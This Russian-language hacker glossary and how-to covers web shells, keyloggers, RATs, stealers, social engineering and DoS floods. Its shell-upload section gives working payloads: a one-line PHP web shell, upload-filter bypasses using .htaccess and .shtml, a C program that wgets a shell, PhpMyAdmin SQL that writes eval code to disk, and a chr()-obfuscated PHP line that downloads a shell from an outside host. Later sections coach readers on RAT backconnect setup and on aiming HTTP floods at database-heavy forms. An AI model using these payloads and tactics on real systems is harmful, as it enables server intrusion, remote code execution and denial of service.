Оболочка операционной системы (от англ. shell — оболочка) — интерпретатор команд операционной системы, обеспечивающий интерфейс для взаимодействия пользователя с функциями системы.

В общем случае, различают оболочки с двумя типами интерфейса для взаимодействия с пользователем: текстовый пользовательский интерфейс (TUI) и графический пользовательский интерфейс (GUI).


Содержание

1. Общие понятия

1.1. Доступ по SSH

1.2. WEB-Shell

1.3. Other


Общие понятия

Нередко для взлома операционной системы применяются шеллы. Что же это за зверь? По-сути - под этим термином фигурирует два основных понятия:



1. Доступ по SSH.

От англ. "Secure SHell" — «безопасная оболочка»

При работе с операционными системами семейства *nix (Linux, Unix, FreeBSD и т.д.) применяется система удаленного контроля и управления системой. Обычно на 22 порту сервера работает демон (системная служба) которая позволяет при правильном сочетании логин:пароль входить в систему и получать доступ к командному интерпретатору (командная строка). Но не все так просто. Помимо логина и пароля может использоваться система аутентификации на основе ключа. имея такой ключ не нужно вводить ни имя пользователя ни пароль. Так же важно помнить, что ОС семейства *nix построены на четком разграничении прав пользователей. И зачасту, добыв имя пользователя и пароль, вы не становитесь администратором сервера. Вы входите с правами использованного пользователя. Это значит что у вас есть доступ к ограниченному количеству папок, системных утилит и т.д.

Так же необходимо уметь правильно вводить команды. Синтаксис операционных систем отличается, как и расположение системных файлов или файлов конфигураций.

Более подробно можно почитать , , ,



2. WEB-Shell

Данное понятие используется наиболее часто. Под ним понимается некий скрипт или набор скриптов, расположенных на атакуемом сервере.

При открытии такого скрипта браузером - открывается специально-сформированная страница, на которой можно вводить команды, просматривать папки и файлы, закачивать новые файлы, редактировать существующие и т.д. В данном случае все напрямую зависит от возможностей скрипта-шелла и настроек сервера. Очень важно знать то, что на большинстве серверов наш скриптовый шелл будет исполняться от имени его обработчика. Так, если наш шелл написан на php, то и исполняться он будет с правами либо текущего пользователя (если установлены соответствующие настройки), либо веб-сервера (apache, nginx, IIS и т.д.).

Web-shell чаще всего бывают написаны на php, хотя встречались экземпляры на perl, lisp, asp и т.д.

Самыми известными представителями этой категории шеллов являются C99-shell и R57-shell.

Самый маленький и простой вариант - создать php файл с следующим содержимым:

<? passthru($command); ?>


А дальше - обращаемся к нашему файлу веб-браузером .

Читаем так же: | Не стандартное внедрение шеллачного на сайт


3. Other

В этом блоке хотелось бы упомянуть некоторые иные способы управления сервером.

Например через бинд-порт. Это по-сути тот же самый ssh, но запущен он через какой-то скрипт/приложение на сервере. Он "слушает" указанный в настройках порт. Может использовать авторизацию по паролю и т.д. Но это не полноценный ssh. Это скрипт который нормальный админ замечает в считанные минуты и удаляет безвозвратно. Хотя часто успешно используется при администраторах-раздолбаях.

Модификация демона SSH - часто используется профессиональными взломщиками. По-сути - это изменение самого демона обслуживающего входящие SSH соединения таким образом, что бы он продолжал правильно функционировать, НО при входе со специальным логином и паролем - не показывал соединение админу и не вел лог-файлов.

Установка Руткита. и т.д.



14. НеСтандартноеВнедрениеШелла



Эту статью вам нужно читать в двух случаях:

1.) Для общего развития

2.) Если у вас не получается штатными методами залить шелл.


Содержание

1. Способ №1 - «Обход фильтрации»

1.1. Phtml

1.2. htaccess

1.3. shtml

1.4. Tamper Data

1.5. баг Windows

1.6. jpg

1.7. mail

2. Способ №2 - Хитрости PhpMyAdmin

3. № 3 - Что касается «Мини-Шелла»


Способ №1 - "Обход фильтрации"

Допустим, формат .php не заливается, также .php2/.php3/.php4/.php5/.php.jpg/.php.abc.Варианты решения:



1 Phtml

Попробуйте залить .phtml - это также расширение семейства PHP.



2 htaccess

Создаём файлик .htaccess, и вписываем в него следующее:

AddType application/x-httpd-php .jpg

AddHandler application/x-httpd-php .jpg

Сохраним.. там, где .jpg можете указать любой понравившийся вам формат, хоть .hacker ( :D ).

Теперь попробуем залить наш .htaccess и вслед за ним шелл, с расширением, указанным в .htaccess'e

Примечание: .htaccess - файл дополнительной конфигурации веб-сервера Apache, а также подобных ему серверов.



3 shtml

Если методы выше не работают, то расскажу о очень интересном формате - ".shtml".

SSI (Server Side Includes — включения на стороне сервера) — несложный язык для динамической «сборки» веб-страниц на сервере из отдельных составных частей и выдачи клиенту полученного HTML-документа. Реализован в веб-сервере Apache при помощи модуля mod_include. Включённая в настройках по умолчанию веб-сервера возможность позволяет подключать HTML-файлы, поэтому для использования инструкций файл должен оканчиваться расширением .shtml, .stm или .shtm

Вся прелесть в том, что 95% администраторов либо вообще не знают что это такое, либо просто напросто забывают добавить этот формат в "чёрный список". А теперь советую поподробней прочитать, что это такое, залить такой файлик на сервер, и закачать шелл...

Также бывает, что если мы создадим файл file.shtm?cmd=... то в большинстве случаев скрипт не хотел выполнять системные команды, которые содержат пробел. т.е. "id" он выполнял, "ls" - тоже, а "uname -a" - нет, потому что содержит пробел. Таким образом все фишки типа "wget " обламывались. Но не отчаиваетесь - выход есть:

Можно написать и скомпилировать програмку, которая выполняет системную команду скачивания шелла (через wget). скомпилировать, и залить её. Потом через SSI скрипт просто напросто выполнить её.

Код примера программы:

#include <stdio.h>

#include <stdlib.h>


int main ()

{

system("wget [Путь_к_шеллу]");

return 0;

}

P.S Варианты shell.php.jpg тут не рассматриваются, т.к о них и так все знают.



4 Tamper Data

Ну, а этот вариант - это использовать плагин на подобии "Tamper Data" (Firefox). Можно перехватить запрос, и изменить расширение, но такой метод самый маловероятный. Обычно он спасает в тех случаях, если php не разрешает какой-нибудь JavaScript.



5 баг Windows

Пятый вариант - это отличный баг Windows, а именно, иногда сайт не разрешает закачивать PHP таким образом, что когда нажимаешь к примеру на кнопку "Обзор", то он показывает только файлы изображений, и т.п. Но не отчаивайтесь - просто нажмите на этот "Обзор" ( :D ) зайдите в директорию с шеллом, и наберите тут его имя:

И нажмите "Открыть", шелл успешно откроется, и закачается ;)



6 jpg

Ну а этот метод не входит в "не стандартную" категорию, он заключается в том, что банальный создатель говорит, что разрешено дескать только .jpg и т.д, но на самом деле это не всегда так, достаточно залить PHP сценарий (шелл), и он будет отлично работать. Как вы поняли - никакой фильтрации нету полностью (ну или уж через чур кривая :D )



7 mail

А этот способ предложил нам |qbz|:

Например у нас есть какая-нить CMS-ка или даже просто самописный двиг, в котором где-то, куда-то иногда отправляются письма. Например, с активацией регистрации и так далее. Дело в том, что такие письма могут быть локально сохранены на nix-системах. Если рассматривать как пример форму активации аккаунта, то введем, например, как логин eval($_GET['c']); а как свое мыло впишем apache@localhost. Таким образом письмо будет отправлено на тот же демон хттпд и сохранено где-то в /var/mail с именем юзера хттпд. Думаю далее действия очевидны, имея, например, локальный инклуд мы можем прогрузить шелл инклудя письмецо с передачей кода загрузки шелла в параметре $_GET['c'].


Способ №2 - Хитрости PhpMyAdmin

Допустим, вы получили доступ к PhpMyAdmin, и вам даже посчастливилось, что File_Priv=Y и Обновление таблиц тоже = Y. Тогда нажимает SQL (Может называться и по другому, и она сверху ;) ). И вписываем следующее:

UPDATE `table_name` SET `column_name_1` = '<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>' WHERE `column_name_2` =[Значение] LIMIT 1 ;

SELECT * FROM `table_name` WHERE `column_name_2` =[Значение] INTO OUTFILE '[Полный_путь_до_папки_с_правами_закачки_файла/shell.php]' ;

Теперь переходим по адресу

host.com/пут_до_той_папки_что_вы_указали/shells.php

Пояснения:

table_name - имя таблицы в БД.

column_name_1 - эта колонка, которую мы будем "изменять".

column_name_2 - это колонка, например id, показывает, какую именно запись в БД мы будем редактировать. Например, column_name_2=id, а table_name=users.

Это значит, что мы будем изменять запись в таблице users, где id=n (любое число).

Вы, вероятно обратили внимание, что весь php на одной строке и без пробелов, а это не случайность - это всё для вселюбимой PhpMyAdmin, если записать сюда код с переходами на другую строку, то он обязательно вставить "/" перед переходом, что соответственно вызовет ошибку в php скрипте. И ещё нельзя использовать ' ...

Также можно вместо:

<?php $url = "Путь_до_шелла";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h); ?>

Мы можем просто вписать:

<?php eval($_GET[cmd]); ?>

Eval выполняет функции php, как вы видите, это мини шелл... используют так:

host.com/пут_до_той_папки_что_вы_указали/shells.php?cmd=function_php;



№3 - Что касается "Мини-шелла"

Итак, опять же допустим, что вы закачали "мини шелл", но теперь бы вам надо залить нормальный, WSO к примеру.

Пробуем:

= "Ссылка_на_шелл.txt";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);

Но тут очень часто бывает облом - либо нельзя, чтобы был пробел, либо нельзя, чтобы были кавычки. "Заброшу ка я сервер" - наверное подумали вы.. но нет, конечно, вы правы, чтобы задать тип переменной в php типа string, не мешало бы значение поместить в кавычки, а вот оказывается нет. Достаточно использовать функцию chr(); Эта функция "преобразовывает" ASCII в "обычный текст", таблицу таких символов можно взять тут - И соответственно, получаем код, к примеру (рабочий):

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47 ).chr(47).chr(108).chr(101).chr(103).chr(105).chr( 111).chr(110).chr(101).chr(114).chr(115).chr(56).c hr(56).chr(46).chr(110).chr(97).chr(114).chr(111). chr(100).chr(46).chr(114).chr(117).chr(47).chr(101 ).chr(114).chr(114).chr(111).chr(114).chr(46).chr( 116).chr(120).chr(116);

Как видите, без кавычек, а тип будет String :p Так что теперь делаем код:

$url = chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(108).chr(101).chr(103).chr(105).chr(111).chr(110).chr(101).chr(114).chr(115).chr(56).chr(56).chr(46).chr(110).chr(97).chr(114).chr(111).chr(100).chr(46).chr(114).chr(117).chr(47).chr(101).chr(114).chr(114).chr(111).chr(114).chr(46).chr(116).chr(120).chr(116);$content = file_get_contents($url);$h = fopen(shells.chr(46).php,w);$text = $content;fwrite($h,$text);fclose($h);

И вставляем его в "?cmd=" и получаем в том же каталоге что и мини-шелл, настоящий, хороший шелл, который будет по адресу shells.php..

Заметка: Скорее всего, вы заметили, что у меня написано "shells.chr(46).php", а я объясню, 46 - это точка в "Dec", а имя файла у нас без кавычек, и если бы мы написали shells.php то он бы сохранился как shellsphp, то есть без расширения, т.к точка - это тоже функция в PHP, но я земенил её на shells.chr(46).php и получаем на выходе "shells.php". Вот так, удачи Вам!

Это всего-лишь малая часть всех чудных способов не стандартной заливки, я просто пытался направить вас на путь, что выход есть всегда.



15. Joiner



Джоинер (joiner) - Программа для склеивания (соединения) двух и больше файлов. Применяется в основном для маскировки трояна под песню, картинку, другую программу и т. д. Склеивать можно совершенно разные файлы от jpg, mp3 и txt до exe, scr и др. Все зависит от самой программы.

Конечный файл таким образом в любом случае будет иметь расширение exe.

Так же с помощью джоинера можно прикрепить иконку к файлам и указать куда они будут распаковываться.

Принцип действия:

Допустим вы склеиваете jpg и exe. При запуске конечного файла запускается как сама картинка, так и файл exe. В зависимости от джоинера они либо распаковываются в какую то временную папку либо нет.



16. Keylogger



Кейлоггер (keylogger) - Перехватчик нажатых на клавиатуре клавиш. Данная программа записывает и отсылает хозяину все что было набрано на клавиатуре, хотя часто обладает дополнительным функционалом, таким как чтение данных из буфера обмена, снятие скриншотов и прочими функциями. Чаще всего такие программы используют отправку на почту или FTP. Чаще всего кейлоггеры отправляют данные в зашифрованом виде, и для их открытия нужна специальная программа-парсер. Обычно парсер встроен в билдер кейлоггера либо идет с ним в комплекте.



17. Sniffer



Анализатор трафика, или сниффер (от англ. to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.

Зачастую разделяют понятие на две составляющие:

1. Сниффер - это скрипт, размещенный на каком-то сервере, используемый для перехвата важных данных (например cookies).

2. Сниффер - это программа или устройство, которое пропускает через себя (участвует в процессе) весь трафик компьютера или нескольких компьютеров/устройств. Рассмотрим более подробно.


ВЭБ-Сниффер

Примеров такого рода скриптов в сети очень много. Один из них размещен на сайте Очень часто использовались ранее следующим образом: На сайте находился способ отправки админу или пользователям сообщения с Java-script кодом внутри. Скрипт вызывал сниффер и передавал ему, в качестве параметра, содержимое cookies. Сниффер аккуратно записывал пришедшие данные. Было деление на умные и простейшие снифферы. Простейшие - сохраняли данные, и либо ничего не выдавали в ответ либо показывали какую-то картинку. Умные снифферы производили ряд манипуляций. От попытки в контексте открытой страницы совершить какие-то действия по-средствам java-script, либо генерировали что-то уникальное в ответ, тем самым уменьшая настороженность пользователя.



Сниффер программный

Программы-сниферы чаще всего внедряются на компьютер пользователя или устанавливаются специально. Примерами легальных снифферов являются Wireshark, ettercap. Используются для мониторинга трафика и анализа проходящих пакетов. Часто используются сетевыми администраторами занимающимися сетями или настройкой оборудования.

Снифферы-нелегалы - это небольшие утилиты направленного действия. Чаще всего используются разработки основанные на более низких языках программирования таких как c, c++, asm, fasm. Такие снифферы анализируют трафик, проходящий через сетевые устройства/соединения, выделяют из общего потока данных интересующие владельца блоки и отправляют их на гейт (скрипт размещенный на другом сервере), в irc канал, jabber контакт или др. В 90% случаев такое ПО используется для сбора логинов и паролей к ftp/smtp/pop/imap аккаунтам. Достаточно запустить на компьютере любое ПО, использующее данные протоколы, и произвести коннект с нужным сайтом/сервисом. В процессе работы программы происходит обмен данными, которые перехватываются сниффером. Из данных берется логин и пароль и отправляется на гейт.



Сниффер аппаратный

Данный тип снифферов является довольно редким. Чаще всего такие снифферы используются специалистами по сетям, магистральщиками, кабельными операторами и т.д. Являются мощным средством анализа трафика т.к. имеют специфическое ПО и позволяют пропускать через себя большие потоки информации. Самым ярким примером подобного сниффера является . Сорм используется спец-службами для проведения анализа больших потоков данных и вычленения из общего потока ключевых слов. При нахождении такого слова или сочетания в трафике происходит информирование уполномоченного лица о совпадении и передача ключевых данных. От кого шло, кому шло, время, и дополнительные технические данные.



18. RAT



RAT - Remote Administration Tool (программа для удалённого администрирования), абревиатура созвучна с английским словом "rat" (крыса). Такие программы часто используются для слежения за компьютером. Крысы могут делать снимки рабочего стола, прослушивать микрофон и подсматривать в веб-камеру, воровать пароли от сайтов, залезать жертве на жесткий диск и в реестр, использовать компьютер жертвы как прокси или же в DDOS атаке, а так же разные игрушки, такие как отключение всего рабочего стола, удаление с него всех значков, отключение экрана, открывание дисковода и прочее. Крысы обычно прописывают себя в авторан и умеют скрывать себя в системных папках, а также используют прочие методы маскировки и защиты от удаления. Крысы бывают с бэкконектом и без него. С бэкконектом жертвы сами коннектяться к вашей административной панели и появляются в виде списка. Без бэкконекта вам придется вручную вбивать ип жертвы в административной панели чтобы к ней подключиться. В отличие от ботов, крысы обладают программной административной панелью, т.е. все управление происходит из вашего компьютера а не через сайт. Для пользователей с динамическим (постоянно меняющимся) ипом которые хотят воспользоваться крысой с бэкконектом необходимо зарегистрироваться на No-ip, иначе вы потеряете всех своих ботов при следущем заходе в интернет. Наиболее популярные раты

SpyNet (бесплатный, с открытыми и исходниками)

DarkComet (бесплатный)

CyberGate (платный)

BlackShades (платный)



19. Стилер



Стилер - специальная программа, предназначеная для воровства сохранённых на компьютере жертвы паролей. Чаще всего воруются пароли от браузеров, мессенджеров, почтовых и фтп-клиентов. Полученные данные стилер может отправлять на FTP, почту или гейт. Обычно обладает функцией самоудаления сразу после отправки логов, что позволяет скрыть от жертвы факт кражи паролей.



20. СИ

  • Социальная инженерия — это метод управления действиями человека без использования технических средств. Метод основан на использовании слабостей человеческого фактора и считается очень разрушительным. Зачастую социальную инженерию рассматривают как незаконный метод получения информации, однако это не совсем так. Социальную инженерию можно также использовать и в законных целях, и не только для получения информации, а и для совершения действий конкретным человеком. Сегодня социальную инженерию зачастую используют в интернете, для получения закрытой информации, или информации, которая представляет большую ценность.
  • Злоумышленник получает информацию, например, путем сбора информации о служащих объекта атаки, с помощью обычного телефонного звонка или путем проникновения в организацию под видом ее служащего.
  • Злоумышленник может позвонить работнику компании (под видом технической службы) и выведать пароль, сославшись на необходимость решения небольшой проблемы в компьютерной системе. Очень часто этот трюк проходит.
  • Имена служащих удается узнать после череды звонков и изучения имён руководителей на сайте компании и других источников открытой информации (отчётов, рекламы и т. п.).
  • Используя реальные имена в разговоре со службой технической поддержки, злоумышленник рассказывает придуманную историю, что не может попасть на важное совещание на сайте со своей учетной записью удаленного доступа.
  • Другим подспорьем в данном методе являются исследование мусора организаций, виртуальных мусорных корзин, кража портативного компьютера или носителей информации.
  • Данный метод используется, когда злоумышленник наметил в качестве жертвы конкретную компанию.
  • Социальная инженерия — относительно молодая наука, которая является составной частью социологии, и претендует на совокупность тех специфических знаний, которые направляют, приводят в порядок и оптимизируют процесс создания, модернизации и воспроизведения новых («искусственных») социальных реальностей. Определенным образом она «достраивает» социологическую науку, завершает ее на фазе преобразования научных знаний в модели, проекты и конструкции социальных институтов, ценностей, норм, алгоритмов деятельности, отношений, поведения и т. п. Занятия сориентированы на вооружение слушателей прежде всего методологией аналитико-синтетического мышления и знаниями формализованных процедур (технологий) конструкторско-изобретательской деятельности. В характеристике формализованных операций, из которых складывается это последнее, особое внимание обращается на операции сложной комбинаторики. Игнорирование принципа системности в операциях комбинаторики нанесли и продолжают наносить большой ущерб на всех уровнях трансформационных процессов, которые происходят в нашем обществе. Последовательные знания принципиальных требований к указанным операциям дают основания к предотвращению ошибочных извращений в реформационной практике на ее макро-, мезо- и микроуровнях.
  • Несмотря на то, что понятие социальной инженерии появилось недавно, люди в той или иной форме пользовались ее техниками испокон веков. В той же Древней Греции и Риме в большом почете были люди, могущие навешать на уши любую лапшу и убедить собеседника в «очевидной неправоте». Выступая от имени верхов, они вели дипломатические переговоры, а, подмешивая в свои слова вранье, лесть и выгодные аргументы, нередко решали такие проблемы, которые, в противном случае, невозможно было решить без помощи меча. В среде шпионов социальная инженерия всегда являлась главным оружием. Выдавая себя за кого угодно, агенты КГБ и ЦРУ могли выведать самые страшные государственные тайны.

21. DOS-DDOS



DoS-атака (от англ. отказ в обслуживании) — атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых пользователи системы не могут получить доступ к предоставляемым системой ресурсам (серверам), либо этот доступ затруднён. Отказ «вражеской» системы может быть как самоцелью (например, сделать недоступным популярный сайт), так и одним из шагов к овладению системой (если во внештатной ситуации ПО выдаёт какую-либо критическую информацию — например, версию, часть программного кода и т. д.).

Если атака выполняется одновременно с большого числа компьютеров, говорят о DDoS-атаке (Distributed Denial of Service), распределённая атака типа «отказ в обслуживании»). В некоторых случаях к DDoS-атаке приводит легитимное действие, например, размещение на популярном интернет-ресурсе ссылки на сайт, размещённый на не очень производительном сервере (слэшдот-эффект). Большой наплыв пользователей приводит к превышению допустимой нагрузки на сервер и отказу в обслуживании части из них.



Содержание

1. Виды DoS-атак

1.1. Эксплуатация ошибок

1.2. Флуд

1.2.1. Флуд канала связи и ТСР-подсистемы

1.2.2. Флуд прикладного уровня

2. Обнаружение DoS-атак

3. Защита от DoS-атак


Виды DoS-атак

Существуют различные причины, по которым может возникнуть DoS-условие:

  • Ошибка в программном коде, приводящая к обращению к неиспользуемому фрагменту адресного пространства, выполнению недопустимой инструкции или другой необрабатываемой исключительной ситуации, когда происходит аварийное завершение серверного приложения. Классическим примером является обращение по нулевому указателю.
  • Недостаточная проверка данных пользователя, приводящая к бесконечному либо длительному циклу или повышенному длительному потреблению процессорных ресурсов (исчерпанию процессорных ресурсов) либо выделению большого объёма оперативной памяти (исчерпанию памяти).
  • Флуд — атака, связанная с большим количеством обычно бессмысленных или сформированных в неправильном формате запросов к компьютерной системе или сетевому оборудованию, имеющая своей целью или приведшая к отказу в работе системы из-за исчерпания ресурсов системы — процессора, памяти либо каналов связи.
  • Атака второго рода — атака, которая стремится вызвать ложное срабатывание системы защиты и таким образом привести к недоступности ресурса.
Если атака (обычно флуд) производится одновременно с большого количества IP-адресов, то в этом случае она называется распределённой атакой на отказ в обслуживании (DDoS).



Эксплуатация ошибок

Эксплойт

Эксплойтом называют программу, фрагмент программного кода или последовательность команд, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему. Из эксплойтов, ведущих к DoS-атаке, но непригодных, например, для овладения «вражеской» системой, наиболее известны WinNuke и Ping of death.



Флуд

Флудом называют огромный поток бессмысленных запросов с разных компьютеров с целью занять «вражескую» систему (процессор, ОЗУ или канал связи) работой и этим временно вывести её из строя. Понятие «DDoS-атака» практически равносильно понятию «флуд», и в обиходе то и другое часто взаимозаменяемо («зафлудить сервер» — «заDDoS’ить сервер»).

Для создания флуда могут применяться как обычные сетевые утилиты наподобие ping (этим известно, например, интернет-сообщество «Упячка»), так и особые программы. Возможность DDoS’а часто «зашивают» в ботнеты. Если на сайте с высокой посещаемостью будет обнаружена уязвимость типа «межсайтовый скриптинг» или возможность включения картинок с других ресурсов, этот сайт также можно применить для DDoS-атаки.

Самая крупная DDoS-атака была зарегистрирована в октябре 2010 года, её мощность составила 120 гигабит. 120-гигабитную атаку можно сравнить с миллионом пользователей, которые осуществляют флуд различными пакетами.

Флуд канала связи и TCP-подсистемы

Любой компьютер, имеющий связь с внешним миром по протоколу TCP/IP, подвержен таким типам флуда:

  • SYN-флуд — при данном виде атаки на атакуемый узел направляется большое количество SYN-пакетов по протоколу TCP (запросов на открытие соединения). При этом на атакуемом сервере через короткое время исчерпывается количество открытых сокетов и сервер перестаёт отвечать.
  • UDP-флуд — этот тип флуда атакует не компьютер-цель, а его канал связи. Провайдеры резонно предполагают, что UDP более приоритетен, чем TCP. Большим количеством UDP-пакетов разного размера вызывается перегрузка канала связи, и сервер, работающий по протоколу TCP, перестаёт отвечать.
  • ICMP-флуд — то же, но с помощью ICMP-пакетов.
Флуд прикладного уровня

Многие службы устроены так, что небольшим запросом можно вызвать большой расход вычислительных мощностей на сервере. В таком случае атакуется не канал связи или TCP-подсистема, а непосредственно служба — флудом подобных «больных» запросов. Например, веб-серверы подвержены HTTP-флуду: для выведения сервера из строя может применяться как простейшее GET /, так и сложный запрос в базу данных наподобие GET /index.php?search=<случайная строка>.



Обнаружение DoS-атак

Существует мнение, что специальные средства для обнаружения DoS-атак не требуются, поскольку факт DoS-атаки невозможно не заметить. Во многих случаях это действительно так. Однако достаточно часто отмечались успешные атаки, которые были замечены жертвами лишь через 2-3 суток. Бывало, что негативные последствия атаки (типа флуд) заключались в излишних расходах по оплате трафика, что выяснялось лишь при получении счёта. Кроме того, многие методы обнаружения атак неэффективны вблизи цели атаки, но эффективны на магистральной сети. В таком случае целесообразно ставить системы обнаружения именно там, а не дожидаться, пока пользователь, подвергшийся атаке, сам её заметит и обратится за помощью. К тому же, для эффективного противодействия необходимо знать тип, характер и другие показатели DoS-атаки, а оперативно получить эти сведения как раз и позволяют системы обнаружения.

Методы обнаружения можно разделить на несколько больших групп:

  • сигнатурные — основанные на качественном анализе трафика;
  • статистические — основанные на количественном анализе трафика;
  • гибридные — сочетающие в себе достоинства двух предыдущих методов.


Защита от DoS-атак

Меры противодействия DoS-атакам можно разделить на пассивные и активные, а также на превентивные и реакционные.

Ниже приведён краткий перечень основных методов.

  • Предотвращение. Профилактика причин, побуждающих тех или иных лиц организовывать DoS-атаки. Очень часто атаки являются следствиями личной обиды, политических, религиозных разногласий, провоцирующего поведения жертвы и т. п.
  • Фильтрация и блэкхолинг. Блокирование трафика исходящего от атакующих машин. Эффективность этих методов снижается по мере приближения к цели атаки и повышается по мере приближения к её источнику.
  • Устранение уязвимостей. Не работает против атак типа флуд, для которых «Уязвимостью» является конечность тех или иных ресурсов.
  • Наращивание ресурсов.
  • Рассредоточение. Построение распределённых и продублированных систем, которые не прекратят обслуживать пользователей, даже если некоторые их элементы станут недоступны из-за атаки.
  • Уклонение. Увод непосредственной цели атаки (Доменного имени или IP-адреса) подальше от других ресурсов, которые часто также подвергаются воздействию вместе с непосредственной целью.
  • Активные ответные меры. Воздействие на источники, организатора или центр управления атакой, как технического, так и организационно-правового характера.
  • Внедрение оборудования по отражению DoS-атак. Например DefensePro® (Radware), Периметр (МФИ Софт), Arbor Peakflow® и других производителей.
  • Приобретение сервиса по защите от DoS-атак. Актуально в случае превышения флудом пропускной способности канала.


22. Http-флуд



HTTP(флуд)атака - это наиболее распространенная flood атака. В ее основе – отсылка HTTP-запросов GET на 80-й порт. Это приводит к такому состоянию загрузки сервера, что он оказывается неспособным к обработке других запросов. Данная flood атака может быть нацелена как на корень сервера, так и на его скрипт, занятый выполнением ресурсоемких задач. Распознание данной атаки возможно путем выявления быстрого роста количества запросов к одному или нескольким скриптам на сервери и быстрому росту логов сервера.

Для понимания правильного метода такой атаки следует перед ее началом изучить сайт-жертву.

  • Пример 1
Мы отправляем http-атаку на файл

Файл статичный и может быть закеширован сервером. В этом случае нам нужен большой ботнет и огромное количество потоков что бы "завалить" сервер-жертву.

  • Пример 2
Мы отправляем http-атаку на файл

В этом случае происходит обработка php файла сервером и, в случае необходимости, обращение к базе данных за более актуальной информацией для страницы сайта. Всвязи с тем, что серверу нужно делать большее количество действий - атака будет более результативной нежели в примере №1, но при правильной настройке кэширования на уровне сервера атака может быть практически равнозначной первому примеру.

  • Пример 3
Мы видим на сайте форму авторизации или иные поля для ввода данных которые требуют обязательного обращения к базе данных. (идеальный случай - поле поиска по сайту). И направляем свою атаку на эту форму. Допустим это будет выглядеть так:

В этом случае мы создаем гарантированную нагрузку на БД и такая атака принесет максимальный результат.

  • Пример 4
Автоподстановка значений. Это по сути возможность вашего ддос-бота автоматически подставлять рандомные значения. Так первый запрос будет выглядеть

А второй уже и так далее. Такие подстановки затрудняют борьбу с данным видом атаки т.к. нельзя точно выделить запрос и блокировать его на уровне фаервола.


Некоторые боты могут не только генерировать разные запросы, но и варьировать их длину и скорость передачи данных. Это считается наилучшим вариантом атаки, который принесет, несомненно, высокие результаты.


Эффективная борьба с флудом типа HTTP возможна при усовершенствовании сервера и базы данных, исключении Dos-ботов. Конкретные меры включают в себя увеличение максимального количества используемых файлов и соединений, использование метода epoll для обработки подключений, отключение таймаута на закрытие keep-alive подключений.



23. Ping-флуд



Ping-flood, дословно: наводнение пакетами ping — тип атаки на сетевое оборудование, ставящий своей целью отказ в обслуживании. Ключевой особенностью (по сравнению с остальными видами флуд-атак) является возможность осуществления атаки «бытовыми средствами» (программами и утилитами, входящими в состав домашних/офисных версий операционных систем).



Содержание

1. Суть атаки

2. Ограничения ICMP флуда

3. Распределенная атака

4. Противодействие атаке


Суть атаки

ICMP-сообщение (эхо-запрос) обрабатывается сетевым оборудованием третьего (и выше) уровня. В большинстве случаев это оборудование использует программные средства маршрутизации и обработки пакетов. При этом эхо-запрос требует от устройства принятия пакета, его обработки и формирования/отправки пакета с ответом на запрос. Объём выполняемых действий при этом многократно превышает объём работы по маршрутизации обычного пакета. Размер ICMP-запроса обычно небольшой (около 64 байт, при максимальном размере пакета IP 64 кбайт). В результате, при формальном сохранении небольшого трафика, возникает перегрузка по количеству пакетов, и устройство начинает пропускать остальные пакеты (по другим интерфейсам или протоколам), что и является целью атаки.



Ограничения ICMP флуда

Некоторые провайдеры в договоре оговаривают отдельным пунктом ограничение на скорость ICMP-пакетов, оставляя за собой право прекращения предоставления услуги в случае ICMP флуда, нарушающего работу сетевого оборудования.



Распределённая атака

При распределённой атаке (с нескольких тысяч узлов), ICMP-запросы поступают с обычной скоростью тестирования (около 1 пакета в секунду с узла), но одновременно с нескольких тысяч компьютеров. В этом случае итоговая нагрузка на устройство, являющееся целью атаки, может достигать пропускной способности канала (и заведомо превосходить скорость обработки пакетов устройством).


В апреле 2007 года сайты правительства Эстонии подверглись распределённой ICMP-атаке. В качестве «орудия» атаки использовалась диагностическая утилита ping, отправляющая пакет объёмом 20000 байт на сайт . По сообщениям СМИ атака была успешной<ref> </ref>.


В 2010 году мощность одной распределённой DDoS-атаки впервые превысила 100 ГБит/сек.



Противодействие атаке

Для противодействия атаке (помимо блокирования трафика с отдельных узлов и сетей) возможны следующие меры:



  • отключение ответов на ICMP-запросы (отключение соответствующих служб или предотвращение отклика на определенный тип сообщения) на целевой системе;
  • Понижение приоритета обработки ICMP-сообщений (при этом весь остальной трафик обрабатывается в обычном порядке, а ICMP-запросы обрабатываются по остаточному принципу, в случае перегрузки ICMP-сообщениями часть из них игнорируется).
  • отбрасывание или фильтрация ICMP-трафика средствами межсетевого экрана (фаервола).
  • увеличение очереди обрабатываемых подключений


24. SYN-флуд



SYN-флуд — одна из разновидностей сетевых атак типа отказ от обслуживания, которая заключается в отправке большого количества SYN-запросов (запросов на подключение по протоколу TCP) в достаточно короткий срок.


Согласно процессу «трёхкратного рукопожатия» TCP, клиент посылает пакет с установленным флагом SYN (synchronize). В ответ на него сервер должен ответить комбинацией флагов SYN+ACK (acknowledges). После этого клиент должен ответить пакетом с флагом ACK, после чего соединение считается установленным.


Принцип атаки заключается в том, что злоумышленник, посылая SYN-запросы, переполняет на сервере (цели атаки) очередь на подключения. При этом он игнорирует SYN+ACK пакеты цели, не высылая ответные пакеты, либо подделывает заголовок пакета таким образом, что ответный SYN+ACK отправляется на несуществующий адрес. В очереди подключений появляются так называемые полуоткрытые соединения, ожидающие подтверждения от клиента. По истечении определенного тайм-аута эти подключения отбрасываются. Задача злоумышленника заключается в том, чтобы поддерживать очередь заполненной таким образом, чтобы не допустить новых подключений. Из-за этого легитимные клиенты не могут установить связь, либо устанавливают её с существенными задержками.


Атака основывается на уязвимости ограничения ресурсов операционной системы для полуоткрытых соединений, описанной в 1996 году группой CERT , согласно которой очередь для таких подключений была очень короткой, например, в операционной системе Solaris допускалось не более восьми подключений), а тайм-аут подключений — достаточно продолжительным (3 минуты).



Противодействие

Предложенным решением было использование SYN cookie, либо ограничение запросов на новые подключения от конкретного источника за определенный промежуток времени.



25. Руткит



Руткит (rootkit, т.е. «набор root-а») — компьютерная программа или набор программ для скрытия следов присутствия злоумышленника или вредоносной программы в системе.


